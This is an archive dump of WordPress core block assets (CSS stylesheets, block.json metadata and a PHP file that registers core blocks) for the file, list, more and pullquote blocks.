} file/editor.min.css 0000644 00000001172 15233103272 0010244 0 ustar 00 .wp-block-file{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{margin-bottom:1em;width:100%;height:100%}.wp-block-file .wp-block-file__preview-overlay{position:absolute;top:0;right:0;bottom:0;left:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em} file/style.min.css 0000644 00000001221 15233103272 0010111 0 ustar 00 .wp-block-file{margin-bottom:1.5em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file .wp-block-file__embed{margin-bottom:1em}.wp-block-file .wp-block-file__button{background:#32373c;border-radius:2em;color:#fff;font-size:.8em;padding:.5em 1em}.wp-block-file a.wp-block-file__button{text-decoration:none}.wp-block-file a.wp-block-file__button:active,.wp-block-file a.wp-block-file__button:focus,.wp-block-file a.wp-block-file__button:hover,.wp-block-file a.wp-block-file__button:visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-file *+.wp-block-file__button{margin-left:.75em} file/editor.css 0000644 00000004010 15233103272 0007454 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-file {
display: flex;
flex-wrap: wrap;
justify-content: space-between;
align-items: center;
margin-bottom: 0;
}
.wp-block[data-align=left] > .wp-block-file, .wp-block[data-align=right] > .wp-block-file {
height: auto;
}
.wp-block-file .components-resizable-box__container {
margin-bottom: 1em;
}
.wp-block-file .wp-block-file__preview {
margin-bottom: 1em;
width: 100%;
height: 100%;
}
.wp-block-file .wp-block-file__preview-overlay {
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
}
.wp-block-file .wp-block-file__content-wrapper {
flex-grow: 1;
}
.wp-block-file a {
min-width: 1em;
}
.wp-block-file .wp-block-file__button-richtext-wrapper {
display: inline-block;
margin-left: 0.75em;
} file/style-rtl.css 0000644 00000004023 15233103272 0010131 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-file {
margin-bottom: 1.5em;
}
.wp-block-file.aligncenter {
text-align: center;
}
.wp-block-file.alignright {
text-align: right;
}
.wp-block-file .wp-block-file__embed {
margin-bottom: 1em;
}
.wp-block-file .wp-block-file__button {
background: #32373c;
border-radius: 2em;
color: #fff;
font-size: 0.8em;
padding: 0.5em 1em;
}
.wp-block-file a.wp-block-file__button {
text-decoration: none;
}
.wp-block-file a.wp-block-file__button:hover, .wp-block-file a.wp-block-file__button:visited, .wp-block-file a.wp-block-file__button:focus, .wp-block-file a.wp-block-file__button:active {
box-shadow: none;
color: #fff;
opacity: 0.85;
text-decoration: none;
}
.wp-block-file * + .wp-block-file__button {
margin-right: 0.75em;
} file/editor-rtl.css 0000644 00000004011 15233103272 0010254 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-file {
display: flex;
flex-wrap: wrap;
justify-content: space-between;
align-items: center;
margin-bottom: 0;
}
.wp-block[data-align=left] > .wp-block-file, .wp-block[data-align=right] > .wp-block-file {
height: auto;
}
.wp-block-file .components-resizable-box__container {
margin-bottom: 1em;
}
.wp-block-file .wp-block-file__preview {
margin-bottom: 1em;
width: 100%;
height: 100%;
}
.wp-block-file .wp-block-file__preview-overlay {
position: absolute;
top: 0;
left: 0;
bottom: 0;
right: 0;
}
.wp-block-file .wp-block-file__content-wrapper {
flex-grow: 1;
}
.wp-block-file a {
min-width: 1em;
}
.wp-block-file .wp-block-file__button-richtext-wrapper {
display: inline-block;
margin-right: 0.75em;
} file/style-rtl.min.css 0000644 00000001222 15233103272 0010711 0 ustar 00 .wp-block-file{margin-bottom:1.5em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file .wp-block-file__embed{margin-bottom:1em}.wp-block-file .wp-block-file__button{background:#32373c;border-radius:2em;color:#fff;font-size:.8em;padding:.5em 1em}.wp-block-file a.wp-block-file__button{text-decoration:none}.wp-block-file a.wp-block-file__button:active,.wp-block-file a.wp-block-file__button:focus,.wp-block-file a.wp-block-file__button:hover,.wp-block-file a.wp-block-file__button:visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-file *+.wp-block-file__button{margin-right:.75em} file/editor-rtl.min.css 0000644 00000001173 15233103272 0011044 0 ustar 00 .wp-block-file{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{margin-bottom:1em;width:100%;height:100%}.wp-block-file .wp-block-file__preview-overlay{position:absolute;top:0;left:0;bottom:0;right:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em} list/style-rtl.css 0000644 00000002540 15233103272 0010167 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
ol.has-background,
ul.has-background {
padding: 1.25em 2.375em;
} list/style.min.css 0000644 00000000073 15233103272 0010151 0 ustar 00 ol.has-background,ul.has-background{padding:1.25em 2.375em} list/style-rtl.min.css 0000644 00000000073 15233103272 0010750 0 ustar 00 ol.has-background,ul.has-background{padding:1.25em 2.375em} list/style.css 0000644 00000002540 15233103272 0007370 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
ol.has-background,
ul.has-background {
padding: 1.25em 2.375em;
} list/block.json 0000644 00000002016 15233103272 0007501 0 ustar 00 {
"apiVersion": 2,
"name": "core/list",
"title": "List",
"category": "text",
"description": "Create a bulleted or numbered list.",
"keywords": [ "bullet list", "ordered list", "numbered list" ],
"textdomain": "default",
"attributes": {
"ordered": {
"type": "boolean",
"default": false,
"__experimentalRole": "content"
},
"values": {
"type": "string",
"source": "html",
"selector": "ol,ul",
"multiline": "li",
"__unstableMultilineWrapperTags": [ "ol", "ul" ],
"default": "",
"__experimentalRole": "content"
},
"type": {
"type": "string"
},
"start": {
"type": "number"
},
"reversed": {
"type": "boolean"
},
"placeholder": {
"type": "string"
}
},
"supports": {
"anchor": true,
"className": false,
"typography": {
"fontSize": true,
"__experimentalFontFamily": true
},
"color": {
"gradients": true
},
"__unstablePasteTextInline": true,
"__experimentalSelector": "ol,ul"
},
"editorStyle": "wp-block-list-editor",
"style": "wp-block-list"
}
index.php 0000644 00000005045 15233103272 0006366 0 ustar 00 <?php
/**
* Used to set up all core blocks used with the block editor.
*
* @package WordPress
*/
// Include files required for core blocks registration.
require ABSPATH . WPINC . '/blocks/archives.php';
require ABSPATH . WPINC . '/blocks/block.php';
require ABSPATH . WPINC . '/blocks/calendar.php';
require ABSPATH . WPINC . '/blocks/categories.php';
require ABSPATH . WPINC . '/blocks/file.php';
require ABSPATH . WPINC . '/blocks/latest-comments.php';
require ABSPATH . WPINC . '/blocks/latest-posts.php';
require ABSPATH . WPINC . '/blocks/legacy-widget.php';
require ABSPATH . WPINC . '/blocks/loginout.php';
require ABSPATH . WPINC . '/blocks/page-list.php';
require ABSPATH . WPINC . '/blocks/post-content.php';
require ABSPATH . WPINC . '/blocks/post-date.php';
require ABSPATH . WPINC . '/blocks/post-excerpt.php';
require ABSPATH . WPINC . '/blocks/post-featured-image.php';
require ABSPATH . WPINC . '/blocks/post-terms.php';
require ABSPATH . WPINC . '/blocks/post-title.php';
require ABSPATH . WPINC . '/blocks/post-template.php';
require ABSPATH . WPINC . '/blocks/query.php';
require ABSPATH . WPINC . '/blocks/query-pagination.php';
require ABSPATH . WPINC . '/blocks/query-pagination-next.php';
require ABSPATH . WPINC . '/blocks/query-pagination-numbers.php';
require ABSPATH . WPINC . '/blocks/query-pagination-previous.php';
require ABSPATH . WPINC . '/blocks/query-title.php';
require ABSPATH . WPINC . '/blocks/rss.php';
require ABSPATH . WPINC . '/blocks/search.php';
require ABSPATH . WPINC . '/blocks/shortcode.php';
require ABSPATH . WPINC . '/blocks/site-tagline.php';
require ABSPATH . WPINC . '/blocks/site-logo.php';
require ABSPATH . WPINC . '/blocks/site-title.php';
require ABSPATH . WPINC . '/blocks/social-link.php';
require ABSPATH . WPINC . '/blocks/tag-cloud.php';
/**
* Registers core block types using metadata files.
* Dynamic core blocks are registered separately.
*
* @since 5.5.0
*/
function register_core_block_types_from_metadata() {
$block_folders = array(
'audio',
'button',
'buttons',
'code',
'column',
'columns',
'cover',
'embed',
'freeform',
'gallery',
'group',
'heading',
'html',
'image',
'list',
'media-text',
'missing',
'more',
'nextpage',
'paragraph',
'preformatted',
'pullquote',
'quote',
'separator',
'social-links',
'spacer',
'table',
'text-columns',
'verse',
'video',
);
foreach ( $block_folders as $block_folder ) {
register_block_type(
ABSPATH . WPINC . '/blocks/' . $block_folder
);
}
}
add_action( 'init', 'register_core_block_types_from_metadata' );
more/editor.css 0000644 00000004227 15233103272 0007511 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.block-editor-block-list__block[data-type="core/more"] {
max-width: 100%;
text-align: center;
margin-top: 28px;
margin-bottom: 28px;
}
.wp-block-more {
display: block;
text-align: center;
white-space: nowrap;
}
.wp-block-more input[type=text] {
position: relative;
font-size: 13px;
text-transform: uppercase;
font-weight: 600;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
color: #757575;
border: none;
box-shadow: none;
white-space: nowrap;
text-align: center;
margin: 0;
border-radius: 4px;
background: #fff;
padding: 6px 8px;
height: 24px;
max-width: 100%;
}
.wp-block-more input[type=text]:focus {
box-shadow: none;
}
.wp-block-more::before {
content: "";
position: absolute;
top: calc(50%);
left: 0;
right: 0;
border-top: 3px dashed #ccc;
} more/editor.min.css 0000644 00000001333 15233103272 0010266 0 ustar 00 .block-editor-block-list__block[data-type="core/more"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{position:relative;font-size:13px;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border:none;box-shadow:none;white-space:nowrap;text-align:center;margin:0;border-radius:4px;background:#fff;padding:6px 8px;height:24px;max-width:100%}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{content:"";position:absolute;top:50%;left:0;right:0;border-top:3px dashed #ccc} more/editor-rtl.css 0000644 00000004227 15233103272 0010310 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.block-editor-block-list__block[data-type="core/more"] {
max-width: 100%;
text-align: center;
margin-top: 28px;
margin-bottom: 28px;
}
.wp-block-more {
display: block;
text-align: center;
white-space: nowrap;
}
.wp-block-more input[type=text] {
position: relative;
font-size: 13px;
text-transform: uppercase;
font-weight: 600;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
color: #757575;
border: none;
box-shadow: none;
white-space: nowrap;
text-align: center;
margin: 0;
border-radius: 4px;
background: #fff;
padding: 6px 8px;
height: 24px;
max-width: 100%;
}
.wp-block-more input[type=text]:focus {
box-shadow: none;
}
.wp-block-more::before {
content: "";
position: absolute;
top: calc(50%);
right: 0;
left: 0;
border-top: 3px dashed #ccc;
} more/block.json 0000644 00000000775 15233103272 0007502 0 ustar 00 {
"apiVersion": 2,
"name": "core/more",
"title": "More",
"category": "design",
"description": "Content before this block will be shown in the excerpt on your archives page.",
"keywords": [ "read more" ],
"textdomain": "default",
"attributes": {
"customText": {
"type": "string"
},
"noTeaser": {
"type": "boolean",
"default": false
}
},
"supports": {
"customClassName": false,
"className": false,
"html": false,
"multiple": false
},
"editorStyle": "wp-block-more-editor"
}
more/editor-rtl.min.css 0000644 00000001333 15233103272 0011065 0 ustar 00 .block-editor-block-list__block[data-type="core/more"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{position:relative;font-size:13px;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border:none;box-shadow:none;white-space:nowrap;text-align:center;margin:0;border-radius:4px;background:#fff;padding:6px 8px;height:24px;max-width:100%}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{content:"";position:absolute;top:50%;right:0;left:0;border-top:3px dashed #ccc} pullquote/style.min.css 0000644 00000001543 15233103272 0011233 0 ustar 00 .wp-block-pullquote{margin:0 0 1em;padding:3em 0;text-align:center}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote.alignleft p,.wp-block-pullquote.alignright p{font-size:1.25em}.wp-block-pullquote p{font-size:1.75em;line-height:1.6}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote:not(.is-style-solid-color){background:none}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;text-align:left;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{margin-top:0;margin-bottom:0;font-size:2em}.wp-block-pullquote.is-style-solid-color blockquote cite{text-transform:none;font-style:normal}.wp-block-pullquote cite{color:inherit} pullquote/editor.min.css 0000644 00000000644 15233103272 0011362 0 ustar 00 .wp-block[data-align=left]>.wp-block-pullquote p,.wp-block[data-align=right]>.wp-block-pullquote p{font-size:20px}.wp-block-pullquote blockquote p{font-size:28px;line-height:1.6}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{text-transform:none;font-style:normal}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit} pullquote/block.json 0000644 00000001726 15233103272 0010567 0 ustar 00 {
"apiVersion": 2,
"name": "core/pullquote",
"title": "Pullquote",
"category": "text",
"description": "Give special visual emphasis to a quote from your text.",
"textdomain": "default",
"attributes": {
"value": {
"type": "string",
"source": "html",
"selector": "blockquote",
"multiline": "p",
"__experimentalRole": "content"
},
"citation": {
"type": "string",
"source": "html",
"selector": "cite",
"default": "",
"__experimentalRole": "content"
},
"mainColor": {
"type": "string"
},
"customMainColor": {
"type": "string"
},
"textColor": {
"type": "string"
},
"customTextColor": {
"type": "string"
}
},
"supports": {
"anchor": true,
"align": [ "left", "right", "wide", "full" ]
},
"styles": [
{
"name": "default",
"label": "Default",
"isDefault": true
},
{ "name": "solid-color", "label": "Solid color" }
],
"editorStyle": "wp-block-pullquote-editor",
"style": "wp-block-pullquote"
}
pullquote/style.css 0000644 00000004413 15233103272 0010450 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-pullquote {
margin: 0 0 1em 0;
padding: 3em 0;
text-align: center;
}
.wp-block-pullquote.alignleft, .wp-block-pullquote.alignright {
max-width: 420px;
}
.wp-block-pullquote.alignleft p, .wp-block-pullquote.alignright p {
font-size: 1.25em;
}
.wp-block-pullquote p {
font-size: 1.75em;
line-height: 1.6;
}
.wp-block-pullquote cite,
.wp-block-pullquote footer {
position: relative;
}
.wp-block-pullquote .has-text-color a {
color: inherit;
}
.wp-block-pullquote:not(.is-style-solid-color) {
background: none;
}
.wp-block-pullquote.is-style-solid-color {
border: none;
}
.wp-block-pullquote.is-style-solid-color blockquote {
margin-left: auto;
margin-right: auto;
text-align: left;
max-width: 60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p {
margin-top: 0;
margin-bottom: 0;
font-size: 2em;
}
.wp-block-pullquote.is-style-solid-color blockquote cite {
text-transform: none;
font-style: normal;
}
.wp-block-pullquote cite {
color: inherit;
} pullquote/editor-rtl.min.css 0000644 00000000644 15233103272 0012161 0 ustar 00 .wp-block[data-align=left]>.wp-block-pullquote p,.wp-block[data-align=right]>.wp-block-pullquote p{font-size:20px}.wp-block-pullquote blockquote p{font-size:28px;line-height:1.6}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{text-transform:none;font-style:normal}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit} pullquote/editor.css 0000644 00000003370 15233103272 0010577 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block[data-align=left] > .wp-block-pullquote p,
.wp-block[data-align=right] > .wp-block-pullquote p {
font-size: 20px;
}
.wp-block-pullquote blockquote p {
font-size: 28px;
line-height: 1.6;
}
.wp-block-pullquote.is-style-solid-color blockquote p {
font-size: 32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation {
text-transform: none;
font-style: normal;
}
.wp-block-pullquote .wp-block-pullquote__citation {
color: inherit;
} pullquote/style-rtl.css 0000644 00000004414 15233103272 0011250 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-pullquote {
margin: 0 0 1em 0;
padding: 3em 0;
text-align: center;
}
.wp-block-pullquote.alignleft, .wp-block-pullquote.alignright {
max-width: 420px;
}
.wp-block-pullquote.alignleft p, .wp-block-pullquote.alignright p {
font-size: 1.25em;
}
.wp-block-pullquote p {
font-size: 1.75em;
line-height: 1.6;
}
.wp-block-pullquote cite,
.wp-block-pullquote footer {
position: relative;
}
.wp-block-pullquote .has-text-color a {
color: inherit;
}
.wp-block-pullquote:not(.is-style-solid-color) {
background: none;
}
.wp-block-pullquote.is-style-solid-color {
border: none;
}
.wp-block-pullquote.is-style-solid-color blockquote {
margin-right: auto;
margin-left: auto;
text-align: right;
max-width: 60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p {
margin-top: 0;
margin-bottom: 0;
font-size: 2em;
}
.wp-block-pullquote.is-style-solid-color blockquote cite {
text-transform: none;
font-style: normal;
}
.wp-block-pullquote cite {
color: inherit;
} pullquote/editor-rtl.css 0000644 00000003370 15233103272 0011376 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
